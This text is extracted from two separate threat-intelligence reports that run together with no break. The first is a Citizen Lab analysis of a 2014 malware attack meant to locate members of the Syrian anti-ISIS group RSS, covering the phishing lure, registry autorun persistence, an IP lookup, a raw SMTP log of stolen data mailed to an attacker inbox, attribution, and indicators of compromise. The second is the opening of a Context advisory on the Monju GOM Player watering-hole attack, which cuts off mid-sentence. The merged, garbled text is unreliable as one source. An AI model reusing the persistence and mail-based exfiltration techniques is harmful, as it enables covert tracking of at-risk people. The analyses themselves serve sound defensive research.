this Privacy & Use policy. +Malware Attack Targeting Syrian ISIS Critics +by John Scott-Railton and Seth Hardy +With the collaboration of Cyber Arabs. +Media coverage: Associated Press, Forbes +Summary +This report describes a malware attack with circumstantial links to the Islamic State in Iraq and Syria. In the interest of +highlighting a developing threat, this post analyzes the attack and provides a list of Indicators of Compromise. +A Syrian citizen media group critical of Islamic State of Iraq and Syria (ISIS) was recently targeted in a +customized digital attack designed to unmask their location. The Syrian group, Raqqah is being Slaughtered +Silently (RSS), focuses its advocacy on documenting human rights abuses by ISIS elements occupying the city of ArRaqah. In response, ISIS forces in the city have reportedly targeted the group with house raids, kidnappings, and an +alleged assassination. The group also faces online threats from ISIS and its supporters, including taunts that ISIS is spying +on the group. +Though we are unable to conclusively attribute the attack to ISIS or its supporters, a link to ISIS is +plausible. The malware used in the attack differs substantially from campaigns linked to the Syrian +regime, and the attack is focused against a group that is an active target of ISIS forces. +Background: Citizen Journalists under Threat in ISIS-controlled Territories +As the Syrian Civil War continues, Syrian citizen journalists and nonviolent activists operate in an increasingly unsafe +environment. The regime has never welcomed their work, and has often targeted them for arrest and detention, and a +multi-year hacking campaign (see Pro-Regime / Regime Linked Groups). Additionally, not all elements of the Syrian +opposition have uniformly supported nonviolent activists and citizen journalists. More recently, in areas like Raqqah, +nonviolent activists face a new and exceptionally grave threat: ISIS. A growing number of reports suggest that ISIS is +systematically targeting groups that document atrocities, or that communicate with Western media and aid organizations, +sometimes under the pretext of finding +spies +Map: Raqqah is indicated by the red arrow. Colors indicate areas mostly under the control of the following groups: +Black = ISIS, Red = Syrian Regime, Green = Free Syrian Army, Yellow = Kurdish. Note: the map is not highly detailed, +nor completely up-to-date, but is useful in showing general areas of control. Source: @DeSyracuse +Ar-Raqqah, the city in which the case study is located, is situated in northern Syria and continues to be a key conflict +flashpoint of the Syrian Civil War. In the spring of 2013, Islamists and Free Syrian Army (FSA) fighters took over ArRaqqah from regime forces. As ISIS gained momentum, they consolidated their control over the city, edging out FSAaffiliated groups through attacks, summary executions, and kidnappings against a range of groups, including ethnic and +religious minorities. +Information Control by ISIS +During 2014, there were a number of reports +many unconfirmed +that ISIS confiscated smartphones and laptops from +captured activists. According to Syrians who experienced these searches and spoke with one of the reports + authors, ISIS +sometimes extracts data from confiscated smartphones and laptops to collect information about people and groups they +are targeting, as well as to seek evidence of +un-Islamic + activities. +As ISIS cements their control of Ar-Raqqah and other territories, reports have emerged recently (though not all of them +confirmed) suggesting that elements within ISIS are growing increasingly sophisticated at imposing control and targeting +opponents using digital methods. Reports about ISIS targeting Internet caf +s have grown increasingly common, and in +some cases reports point to the possible use of keyloggers as well as unspecified +IP sniffers + to track behaviour in Internet +cafes. +The Situation of Nonviolent Activists and Citizen Journalists in Ar-Raqqah +Nonviolent activists and citizen journalists based in Ar-Raqqah have provided the outside world with much of what we +know about how ISIS treats the population. These activists and journalists face mortal danger for their actions, and +reports have emerged of their detention and torture at the hands of ISIS. +As ISIS continues to use social media to push the message that it is welcomed by the population of Ar-Raqqah, groups like +Raqqah is being Slaughtered Silently (RSS) provide a compelling counter narrative. RSS hasn +t escaped ISIS + notice, and +the group has been targeted for kidnappings, house raids, and at least one alleged targeted killing. At the time of writing, +ISIS is allegedly holding several citizen journalists in Ar-Raqqah. +Image 1: Example of an online threat made against RSS. The image, which cannot be confirmed, purports to show CCTV +installed around Raqqah. +In addition, RSS is targeted online by ISIS supporters with harassment, including threats to the physical safety of its +members. For example, ISIS supporters have claimed that ISIS has established a system of CCTV cameras in Ar-Raqqah to +observe residents + movements. While this claim may be a bluff or exaggeration, at least one ISIS supporter has indicated +on social media that this system could be used to look for members of RSS. +Analyzing the Attack +This section describes a highly targeted attack sent to an e-mail address belonging to RSS. The Citizen Lab analyzed this +attack with the consent of RSS, which requested that their name be used in this report. +The attack took the form of an unsolicited e-mail containing a download link to a decoy file. The file +contained custom malware that profiled the victim +s computer and beaconed its IP address to an e-mail +account under the attacker +s control. +The Targeting of RSS +The unsolicited message below was sent to RSS at the end of November 2014 from a Gmail email address. The message +was carefully worded, and contained references specific to the work and interests of RSS. +Targeting Email +Thank you for your efforts to deliver a true picture of the reality of life in Raqqah. As Syrians residing in Canada we are +working with media because we believe in the importance of shedding light on the realities of life in Syria, and Raqqah in +particular. We are preparing a lengthy news report on the realities of life in Raqqah. We are sharing some information +with you with the hope that you will correct it in case it contains errors. We have prepared a map of the city of Raqqah, in +addition to a preliminary report. We hope that you have a look at it with them and inform us of any errors. We also hope +that if you happen to be on Facebook, you could provide us with the account of the person responsible for the campaign, if +you don +t mind, so that we can communicate with him directly. +You can see a preliminary copy of the report on this linkhttp://tempsend [DOT]com/[Redacted]With all respect +[Name Redacted] +Original Arabic ++ 567 +I+7 , ++ M6 ++7 > ++7 : +http://tempsend [DOT]com/[Redacted] +[Name Redacted] +We are unsure why the attacker specifically mentions Canada in the email lure. However, it is well known that Syria +extensive diaspora (including in Canada) regularly engages in advocacy, sometimes in coordination with groups within +Syria. Thus, the message is not on its face implausible. However, we note that the attacker also attempts to social +engineer the identity of individuals working with RSS, by requesting a personal Facebook page. +Analyzing the Malware +The custom malware used in this attack infects a user who views the decoy +slideshow, + and beacons home with the IP +address of the victim +s computer and details about his or her system each time the computer restarts. +Unlike Syrian regime-linked malware, it contains no Remote Access Trojan (RAT) functionality, +suggesting it is intended for identifying and locating a target. +Further, because the malware sends data captured by the malware to an e-mail address, it does not require that the +attackers maintain a command-and-control server online. This functionality would be especially useful to an adversary +unsure of whether it can maintain uninterrupted Internet connectivity. +Narrative of Infection +Accessing the link provided in the malicious e-mail sends the user to a .zip file hosted on file-sharing site +tempsend.com. At the time of writing the file had been downloaded only 10 times +Image 2: Tempsend screenshot +The file to be downloaded is +slideshow.zip +MD5: b72e6678e79cc57d33e684528b5721bd +This file contains slideshow.exe +MD5: f8bfb82aa92ea6a8e4e0b378781b3859 +This file is a self-extracting archive with an icon intended to suggest to the victim that it is itself a slideshow. +When run, the file opens a slideshow of Google Earth screen captures to the victim, displaying a series of locations in +Syria, and highlighting an +ISIS HQ + and other images showing the alleged locations of US airstrikes. +Examples of images in the slideshow as follows: +Infection and Data Collection +When opened, the +slideshow.zip + file writes and executes several files: +C:\Users\[Username]\AppData\Local\Temp\IXP000.TMP\AdobeR1.exe C:\Users\ +[Username]\AppData\Local\Temp\IXP000.TMP\pictures.exe +AdobeR1.exe + is malicious, while +pictures.exe + is the genuine slideshow displayed to the victim. When the slideshow is +closed both AdobeR1.exe and pictures.exe are deleted. +The AdobeR1 file writes a series of executable files that perform information collection and communication functions, +including: +C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\AdbrRader.exe +C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\AdobeIns.exe +C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\GoogleUpate.exe +C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\GooglUpd.exe +C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\nvidrv.exe +C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\nvisdvr.exe +C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\rundl132.exe +C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\svhosts.exe +C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\nvidrv.exe +Program Sequence +The program sequence of data collection and sending is somewhat unusual, with each program performing a single task +and communicating via markers left in the registry. Programs appear to make use of the Visual C++ Runtime Library. +First, the program nvidrv adds itself to autorun: +HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run under name +UpdAdbreader +It also creates a series of registry keys that the individual programs use to communicate: +Registry keys and programs using them: +rundl132.exe: +DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K6F-DKV8J-FKVJIGVKBU\6nvisdvr.exe: +DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K4F-DKV8J-FKVJIGVKBU\4GoogleUpate.exe: +DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K3F-DKV8J-FKVJIGVKBU\3AdbrRader.exe: +DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K2F-DKV8J-FKVJIGVKBU\2nvidrv.exe: +DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K1F-DKV8J-FKVJI-GVKBU\1 +Sets name + to StartupInfo structure as a string, e.g. +0x3110x611 +It then runs GooglUpd, which cleans up the program files if they exist, and runs AdbrRader. AdbrRader +(communicating through registry key +) writes the file vgadmysadm.tmp with the name of another registry key + with +startup info. +C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\ vgadmysadm.tmp +Next, nvidrv runs GoogleUpate, which collects system information and writes it to: +C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\vg2sxoysinf.tmp +Then nvidrv runs nvisdvr (registry key +) that collects a list of running processes, which are written to: +C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\v2cgplst.tmp +Finally, nvidrv runs svhosts, which tests Internet connectivity by doing a DNS query for windowsupdate.microsoft.com. +It then runs rundl132 if it has not before, by checking whether registry key name + is present. It sets the key to + and +runs it. +Next, +rundl132.exe + performs an HTTP GET request to myexternalip.com and collects the external IP of the infected +machine: +GET /raw HTTP/1.1 +Host: myexternalip.com +Cache-Control: no-cacheHTTP/1.1 200 OK +Server: nginx/1.6.2 +Content-Type: text/html; charset=utf-8 +Transfer-Encoding: chunked +Connection: close +Date: [REDACTED] +My-External-Ip: [REDACTED]f +[REDACTED]0 +Next, rundl132 writes: +C:\Users\[Username]\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\Q7B90TFG\raw[1].txt +Then rundl132 writes the external IP to: +C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\vgosysaext.tmp +Finally, rundl132 runs AdobeIns, which zips the contents of the win32.tmp folder. +Program +AdobeIns.exe + takes the files written by the other programs and zips them in an encrypted, passwordprotected file: +C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\drv.sys\mxtd +Data Transmission +Data is transmitted by e-mail to an account presumably controlled by the attacker. +AdobeIns connects to an account at the online e-mail provider inbox.com via smtp using hardcoded credentials. The +malware then sends an e-mail to the same inbox containing the text +Hello + and with mxtd file attached. +SMTP traffic generated by the malware to inbox.com (with redactions) +220 [REDACTED]ESMTP Postfix +EHLO [REDACTED] +250-[REDACTED] +250-PIPELINING +250-SIZE 10240000 +250-VRFY +250-ETRN +250-ENHANCEDSTATUSCODES +250-8BITMIME +250 DSN +MAIL FROM:< [REDACTED]@inbox.com> +250 2.1.0 Ok +RCPT TO:< [REDACTED]@inbox.com> +250 2.1.5 Ok +DATA +354 End data with . +Date: [REDACTED] +From: <[REDACTED]@inbox.com> +X-Priority: 3 (Normal) +To: <[REDACTED]@inbox.com> +Subject: repo +MIME-Version: 1.0 +Content-Type: multipart/mixed; boundary= +__MESSAGE__ID__[REDACTED] +__MESSAGE__ID__[REDACTED] +Content-type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bitHello +__MESSAGE__ID__[REDACTED] +Content-Type: application/x-msdownload; name= +mxtd +Content-Transfer-Encoding: base64 +Content-Disposition: attachment; filename= +mxtd +[REDACTED] +__MESSAGE__ID__[REDACTED] +250 2.0.0 Ok: queued as [REDACTED] +QUIT +221 2.0.0 Bye +Evaluation of the Malware +s Functionality +The malware seen in this case study is unusual as it relies on a half-dozen separate executable files, each with a +single task, and each communicating via markers dropped in the Registry. +The malware is also interesting because it does not provide remote access, but only sends an e-mail containing +the victim +s IP address and miscellaneous system information. The malware resends the information each time +the computer is restarted, but it does not refresh the sent information on restart (which may be a bug). This behaviour +strongly suggests that the function of this malware is to serve as a beacon. The system information could be used to +identify processes to exploit in the future, however since the attacker has already triggered the execution of a file on the +victim +s system, it is surprising that more was not taken, or that a RAT (custom or widely available) was not used. A RAT +would have provided much greater access alongside IP information +By not providing remote access and other RAT functionality, the program looks less like malware, and may attract less +attention from endpoint protection tools and scanners. Detections were low when the file was first submitted to +VirusTotal, for example. It registered only 6/55 detections by anti virus scanners, or a 10% detection rate. +Transmitting the malware via e-mail also provides a degree of obscurity, and has the additional advantage of providing a +layer of abstraction between the attacker and the target: there is no need to maintain a RAT command-and-control server. +The malware transmits autonomously, leaving the material in an inbox for the attacker to collect at a later time. +The malware has no obfuscation processes and is not highly technical in its development or interaction with Windows. +Nevertheless, we believe that the author of the program is aware of certain techniques to reduce the visibility of malware +on a network, including transmitting data via encrypted e-mail communications. However, the attacker has not correctly +implemented encrypted e-mail: the malware will not attempt to use a TLS connection in certain cases. As a result, account +login credentials may be readily available in network traffic. +In addition, the malware uses the old PKWARE implementation of zip encryption, which is not particularly secure. The +password for the zipped file is also present in the binary without encryption or obfuscation. +Targeted Threats Index +Citizen Lab researchers have developed the Targeted Threat Index (TTI) as a tool to standardize information about the +sophistication of targeted threats against civil society groups in our research. The index captures information about the +level of social engineering used ( +Targeting Sophistication +), and adds a Technical Sophistication value for the attack as a +multiplier. +This attack, which has little technical sophistication (i.e., it uses no exploits, code obfuscation, or techniques to frustrate +reversing, etc.), nevertheless has carefully developed social engineering in the seeding materials and bait document. Taken +together it rates a 3 for Targeting Sophistication and a 1.25 for Technical Sophistication by our metric, yielding a TTI score +of 3.75. Citizen Lab research using the TTI has found that, despite low levels of technical sophistication, with well-crafted +social engineering malware attacks remain highly effective against civil society groups. More information is available +about the TTI in a recent Usenix Security paper. +Attribution +There are at least three possible sources for this malware attack: +Pro-regime / regime-linked malware groups +ISIS-linked hackers +Other, unknown actors +We evaluate each of these possibilities in turn, drawing on the information available to us after almost three years of +tracking regime-linked malware. +Pro-Regime / Regime-Linked Groups +Pro-regime malware actors have continually targeted the Syrian opposition with waves of malware since at least late 2011. +Those campaigns have been extensively reported on by a range of groups, including Kaspersky, FireEye, Citizen Lab, the +Electronic Frontier Foundation, and many others. Regime-linked malware has a number of common features that +typically serve as distinguishing characteristics: +Social engineering focusing on the needs and interests of the opposition. Although targeted, the malware seeding +often aims at classes of people (e.g., people interested in +shocking + news about a fighter, or +leaked + information +about the Assad regime) rather than carefully written spear phishing targeting a single individual or small group. +Use of widely available RATs (njRAT, Xtreme Rat, ShadowTech Rat, DarkComet RAT, and Blackshades RAT, among +others). +At least one command-and-control server located within Syrian IP space (often from a limited range of addresses). +Frequent use of Dynamic DNS providers like no-ip. +Use of +crypters + to obscure the binary. +These characteristics are not all present in every sample, but we have typically found one or more in almost every binary +we have examined that is Syrian regime-linked. +This malware attack differs from known regime-linked groups in each of these elements. Not only is it +exceptionally targeted, but it is also not a commonly available RAT. Nor does it have RAT functionality. The function of +the malware appears to be: identify and unmask the IP address of target(s), and resend them to the attacker with each +reboot. In addition, data is sent to an Internet e-mail address, and no crypter is used to obscure the binary. +We are aware of only one previous case in Syria in which e-mail was used to transmit data, and that we believed was +regime linked. That incident, observed in 2012, also used hardcoded e-mail to exfiltrate. However, that malware had +substantially more functionality than this case: not only did it drop a second stage from a compromised site, but was also +included a mechanism for exfiltrating credentials from Facebook and hooking programs like Skype. +The lack of overlap in Tactics, Techniques, and Procedures (TTPs) between this attack and prior attacks does not rule out +Syrian regime-linked attackers. It is possible that regime-linked groups are trying a new approach. However, given that +known regime-linked groups continued to remain active during the same date range using familiar TTPs, this scenario +seems unlikely. In addition, it would be strange for regime-linked malware groups to undertake significant effort to +prepare and send an implant that has significantly less functionality than what they commonly use. Taken together, we +find this evidence supports the hypothesis that familiar regime-linked groups did not conduct the attack. +ISIS-linked Hackers +RSS operates in territory controlled by ISIS, and has faced extensive targeting by ISIS. Currently, they appear to be +directly targeted by ISIS for kidnappings and other retaliation, including executions. In addition, ISIS supporters have +explicitly suggested that the group is under surveillance and actively hunted. Together this evidence suggests that ISIS +has a strong motivation for using social engineering and/or malware to locate the members of RSS. +We think there are several features of the malware attack that align with the needs and constraints of +ISIS and its supporters in Ar-Raqqah, more so than other groups, as we understand them. For example: +The malware beacons location but does not provide RAT functionality. +The seeding attempts to obtain a +private + Facebook identity from RSS through social engineering. +The malware exfiltrates to an online e-mail account, thus not requiring the attacker to maintain a command-andcontrol server online. +The social media activity of members of RSS is often highly public. Their location and exact membership, however, is +secret. We speculate that if an attacker were interested in maintaining long-term surveillance of the activities of RSS they +could have employed a RAT. However, if the attacker were interested in unmasking the location of its targets so they could +be physically tracked down, collecting IP data and system info would be a more reasonable approach. +ISIS or its supporters clearly have a strong interest in the (rudimentary) location tracking of the members of RSS that this +malware provides. Internet connectivity in Raqqah is extremely limited, and some of it is under ISIS control. Knowing the +IP address of a target could quickly narrow down targets to specific locations, and specific Internet services, or Internet +cafes in Raqqah. Given that the identities and locations of RSS members are closely guarded, such information would hold +significant intelligence value for ISIS. Armed with this kind of information, ISIS could physically harm people within +Raqqah (and it is also possible that they have the ability to operate in some capacity in border areas of Turkey). +Little is publicly known about the technical capabilities of ISIS and its supporters; however, reports have begun to emerge +suggesting that ISIS is interested in expanding its abilities. In addition, ISIS has reportedly gained the support of at least +one individual with some experience with social engineering and hacking: Junaid Hussain (aka TriCk), a former member +of teamp0ison hacking team. While Mr. Hussain and associates have reportedly made threats against Western +governments, it is possible that he or others working with ISIS have quietly supported an effort to identify the targeted +organization, which is a highly visible thorn in the side of ISIS. +Other Unknown Actors +It is possible that the attack is the product of actors working for unknown purposes and targeting RSS. Given the activities +of RSS, however, it is unclear who this might be. It is not possible, for example, to reject the theory that some unknown +group within the FSA, or other groups opposing the Assad regime are responsible. Citizen journalists in Ar-Raqqah were +previously critical of arbitrary arrests carried out by non-ISIS groups in 2013. However, it is unclear why those groups, +which no longer control Ar-Raqqah, would be interested in RSS in November 2014. +It is likely that third party actors, including several intelligence services, are closely monitoring various actors in the +conflict through a range of electronic means. However, there is little reason to suggest that they would use a tailored but +technically rudimentary attack to target RSS in particular. +Conclusion: ISIS Can +t Be Ruled Out +After considering each possibility, we find strong but inconclusive circumstantial evidence to support a +link to ISIS. However, we are unable to connect this attack directly to ISIS, Mr. Hussain, or other ISIS supporters. If +indeed ISIS or its supporters are responsible, it seems reasonable that such an offensive capability may still be in +development. +We hope that publishing this report will draw attention to a new and concerning threat that includes ISIS critics among its +targets. If ISIS is responsible, while this attack targets in-country impediments to ISIS objectives, other targets may +include ideological or military adversaries abroad. +Whether or not ISIS is responsible, this attack is likely the work of a non-regime threat actor who may be just beginning to +field a still-rudimentary capability in the Syrian conflict. The entry costs for engaging in malware attacks in a conflict like +the Syrian Civil War are low, and made lower by the fact that the rule of law is nonexistent for large parts of the country. In +still other parts (under regime control), malware attacks appear to be state sanctioned. +Attacks Targeting Civil Society +Citizen Lab research into targeted digital threats against civil society confirms that civil society groups +face grave threats from targeted malware attacks, despite being under-resourced to defend against them. +The case highlighted here is no exception: lack of IT and security resources have made it difficult for the Syrian opposition +to address targeted and persistent digital threats against them. In addition, if ISIS is indeed responsible, this case suggests +how easy it is for belligerents in a conflict to begin fielding basic offensive digital capabilities, and how quickly the +capabilities can be pointed at unarmed civil society groups. +Warning: Social Engineering Thrives in Syrian Context +This attack was exceptionally targeted, and clearly reflected the work of an actor familiar with the operations of the +targeted organization. As most organizations working on issues surrounding Syria are aware, malware delivered with good +social engineering is a constant source of danger. +This particular attack can be prevented by not opening files sent by unknown persons. However, many +attacks in Syria come from hijacked accounts and impersonate people known to the targets. Social engineering remains an +unsolved problem, and continues to compromise groups throughout the Syrian opposition and their supporters. +This attack reaffirms the dangers posed by social engineering attacks, whether they deliver phishing campaigns or +malware. The circumstantial evidence of ISIS involvement suggests that groups working on topics that ISIS considers a +threat, and their partner organizations and supporters, should urgently examine their security policies and assess +the possible risks to their operations, and the consequences of exposure of sensitive information to ISIS. +Even if the link to ISIS turns out to be incorrect, it is possible that this will be a threat in the future. +Individuals and groups at risk can also consult materials in Arabic provided by Cyber Arabs including a series of very +accessible videos on digital security. +Indicators of Compromise +The malware files +Filename +slideshow.zip +b72e6678e79cc57d33e684528b5721bd +slideshow.exe +f8bfb82aa92ea6a8e4e0b378781b3859 +Files dropped by the malware +Filename and Path +C:\Users\ +[Username]\AppData\Local\Temp\IXP000.TMP\AdobeR1.exe +(note: folder and file deleted after slideshow closed) +aa6bcba23cd39c2827d72d33f5104856 +C:\Users\ +[Username]\AppData\Local\Temp\IXP000.TMP\pictures.exe (note: +folder and file deleted after slideshow closed) +eda83c8e4ba7d088593f22d56cf39d9f +C:\Users\ +[Username]\Microsoft\Windows\Z0xapp8T.tmp\AdbrRader.exe +9d36e8e3e557239d7006d0bb5c2df298 +C:\Users\ +[Username]\Microsoft\Windows\Z0xapp8T.tmp\AdobeIns.exe +1d5d8c5ce3854de61b28de7ca73093f1 +C:\Users\ +[Username]\Microsoft\Windows\Z0xapp8T.tmp\GoogleUpate.exe +55039dd6ce3274dbce569473ad37918b +C:\Users\ +[Username]\Microsoft\Windows\Z0xapp8T.tmp\GooglUpd.exe +efdd9b96ae0f43f7d738ead2e1d5430c +C:\Users\ +[Username]\Microsoft\Windows\Z0xapp8T.tmp\nvidrv.exe +0e3eb8de93297f12b56de9fc33657066 +C:\Users\ +[Username]\Microsoft\Windows\Z0xapp8T.tmp\nvisdvr.exe +3eb6f95c321ace0e3b101fd7e2cdd489 +C:\Users\ +[Username]\Microsoft\Windows\Z0xapp8T.tmp\rundl132.exe +84bbd592a212f5a84923e82621e9177d +C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\ +svhosts.exe +13caa1c95e6610f2d5134174e1fb4fd0 +Collected Information Files (unencrypted) +Filename and Path +C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\v2cgplst.tmp +C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\vg2sxoysinf.tmp +C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\vgadmysadm.tmp +C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\vgosysaext.tmp +Exfiltrated file (encrypted) +Filename and Path +C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\drv.sys\mxtd +Registry Keys +Filename and Path +DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K1FDKV8J-FKVJI-GVKBU\1 +DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K2FDKV8J-FKVJI-GVKBU\2 +DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K3FDKV8J-FKVJI-GVKBU\3 +DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K4FDKV8J-FKVJI-GVKBU\4 +DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K6FDKV8J-FKVJI-GVKBU\6 +Acknowledgements +Acknowledgements: We are grateful to Cyber Arabs and the Institute for War and Peace Reporting for their critical work +and assistance. +Special thanks to: several anonymous Syrians, Masashi Crete-Nishihata, Sarah McKune, Morgan Marquis-Boire, Ron +Deibert, Bill Marczak, Nart Villeneuve, Irene Poetranto, and Kristen Dennesen. +Support for this research is provided by grants from the John D. and Catherine T. MacArthur Foundation and the Ford +Foundation. +Footnotes +1 https://www.hate-speech.org/intense-hunt-for-americas-spies/ +2 http://www.ibtimes.com/isis-militants-target-high-speed-internet-cafes-Raqqah-stronghold-1745382 (note that this +report also sources Raqqah is being Slaughtered Silently) +3 https://www.hate-speech.org/intense-hunt-for-americas-spies/ +4 http://www.telegraph.co.uk/news/worldnews/islamic-state/11291510/Syrian-activist-tell-of-brutal-torture-by-Assad- +regime-and-Isil.html +5 https://twitter.com/Raqqah_sl and http://www.Raqqah-sl.com +6 Special thanks to Cyber Arabs for assistance with the translation +https://www.virustotal.com/en/file/d9da10e6381cb5c97a966bab0e3bdb3966a61e3e49147cd112dc3beabe22a2c3/analysis/ +8 https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-hardy.pdf +9 https://securelist.com/files/2014/08/KL_report_syrian_malware.pdf +10 https://www.fireeye.com/blog/threat-research/2014/08/connecting-the-dots-syrian-malware-team-uses-blackworm- +for-attacks.html +11 https://citizenlab.org/2014/03/maliciously-repackaged-psiphon/ +https://www.eff.org/document/quantum-surveillance-familiar-actors-and-possible-false-flags-syrian-malware- +campaigns +http://www.birminghammail.co.uk/news/midlands-news/birmingham-hacker-junaid-hussain-syria-7291864 +http://www.dailymail.co.uk/news/article-2166850/Junaid-Hussain-Team-Poison-hacker-18-published-Tony-Blairs- +address-book-online-faces-jail.html +The most recent Citizen Lab report on this topic is Communities @ Risk, which details a four-year long study of targeted +digital threats against ten civil society organizations. https://targetedthreats.net +TLP: WHITE +Context Threat Intelligence +Threat Advisory +The Monju Incident +Context Ref. +TA10009 +Author +Context Threat Intelligence (CTI) +Date +27/01/2014 ++44 (0) 20 7537 7515 ++44 (0) 20 7537 1071 +Email +threat@contextis.co.uk + Context Information Security +TLP: WHITE +TLP: WHITE +Contents +1 Distribution +2 Executive Summary +3 The Monju Incident +3.1 Infection Vector +3.2 Malware +3.2.1 Overview +3.2.2 Detection +4 Appendix A + File Metadata +TLP: WHITE +Page 2 / 11 +TLP: WHITE +1 Distribution +Context Information Security distribute Context Threat Intelligence (CTI) reporting under +the Traffic Light Protocol (TLP)[1], a method of classifying a document in order to promote +the distribution of sensitive information between individuals, organisations or +communities in a controlled and trusted way, based on the originator +s wishes. +The various levels of the TLP are represented by the following colours: +RED - Personal; for named recipients only +Sources may use TLP: RED when information cannot be effectively acted upon by +additional parties, and could lead to impacts on a party's privacy, reputation, or +operations if misused. +Recipients may not share TLP: RED information with any parties outside of the specific +exchange, meeting, or conversation in which it is originally disclosed. TLP: RED +information will be passed verbally or in person. +AMBER - Limited Distribution +Sources may use TLP: AMBER when information requires support to be effectively acted +upon, but carries risks to privacy, reputation, or operations if shared outside of the +organisations involved. +Recipients may only share TLP: AMBER information with members of their own +organisation who need to know, and only as widely as necessary to act on that +information. +GREEN + Community Wide +Sources may use TLP: GREEN when information is useful for the awareness of all +participating organisations as well as with peers within the broader community or sector. +Recipients may share TLP: GREEN information with peers and partner organisations within +their sector or community, but not via publicly accessible channels such as publication +or posting publicly on the Internet. +- Unlimited Distribution +Sources may use TLP: WHITE when information carries minimal or no foreseeable risk of +misuse, in accordance with applicable rules and procedures for public release. +Subject to standard copyright rules, TLP: WHITE information may be distributed freely, +without restriction. +1 http://www.oecd.org/dataoecd/25/10/40761118.pdf +TLP: WHITE +Page 3 / 11 +TLP: WHITE +2 Executive Summary +On 2nd January 2014 a Systems Administrator at the Monju fast breeder reactor facility in +Japan noticed suspicious connections emanating from a machine in the control room, +coinciding with what was a seemingly routine software update to a free media player. +Among other items, staff training documents and more than 40,000 emails were stored +on the machine and thought to be harvested by the attacker. The Japanese Atomic +Energy Agency is investigating further. +The attack appears to have been the result of the attackers having compromised the +GOM Player + update server and having it act as a +watering hole +, meaning that +machines which access the site are delivered malware. Gom Player originates in South +Korea and in some parts of Asia it is a popular alternative to Windows Media Player. It is +unclear whether every machine trying to download an update received this malware or +whether only machines which fitted a certain profile were infected. +Technical analysis of the implant on the compromised machine has shown it to be a +variant of a Trojan which has been in the wild for some years now and continues to be +effective. The +Gh0st RAT + has been used extensively in attacks linked to the Chinese +state, though it is important to remember that the code is publicly available and can be +modified and used by anyone. The targeting of a Japanese nuclear facility however, is +consistent with Chinese state intelligence requirements. If this is the work of a Chinese +group then we feel the targeting may go much further than the Civil Nuclear sector and +thus be of interest to the wider Energy Sector and industry as a whole. +In order to inform the Energy Sector and beyond about this attack, we have compiled a +technical summary of the attack and have provided a number of Indicators Of +Compromise (IOCs) which can be used to aid detection. It is likely that the attackers +would redeploy their implant against other targets, albeit with a delivery mechanism +more tailored to the location of the intended victims. +TLP: WHITE +Page 4 / 11 +TLP: WHITE +3 The Monju Incident +3.1 Infection Vector +Based on open source reporting, it appears that the intrusion took place via the +compromise of the GOM Player update server (app.gomlab.com), where attackers +may have gained entry via a PHP-based webshell, hidden within an image, present on +the host since October 2011[2]. +The observed malicious activity relates to the modification of a file that controls GOM +Player updates, spanning the date range 27th December 2013 to 16th January 2014, +during which time these alterations are reported to have only manifested themselves for +visitors on certain IP ranges; evidence supporting this claim has not yet been made +public. If this was indeed the case, then the nature of this attack is certainly more +targeted than one that would cover the entire userbase of the GOM Player product, +with victims comprising of the Japanese Government in addition to those at the Monju +nuclear facility. +The modified file redirected the GOM Player update process to another compromised +server (www.fudousankaitori.jp (203.189.101.35)), where a file containing both the +legitimate update and the malware was deliver to the victim. +Modified +Update URL +app.gomlab.com +GOM Player +Upd ate Requ est +GOM Update +Download Request +Victim +GOM Player and +Malware +www.fudousankaitori.jp +Malware Command +And Control +Compromised Server +testqweasd.tk +Attacker Infrastructure +A diagram illustrating the modified flow of the GOM Player update process which led to the compromise +2 http://hummingbird.tistory.com/5187 +TLP: WHITE +Page 5 / 11 +TLP: WHITE +3.2 Malware +3.2.1 Overview +Deployed to the system via a compressed bundle containing the official GOM Player +setup binary and a self-extracting RAR archive containing the malicious files, the +malware consists of a number of individual pieces. Upon extraction from the RAR +archive, the installer component (0ae82fd94836815a1e8d284ccb75109d) is +automatically launched alongside the GOM Player update, distracting victims from the +malicious activity taking place. +The installer component is referred to by the author as +miansha' which, according to an +East Asia Cyber Threat Intelligence Researcher, is likely Mi +), a phrase +commonly used by People +s Republic of 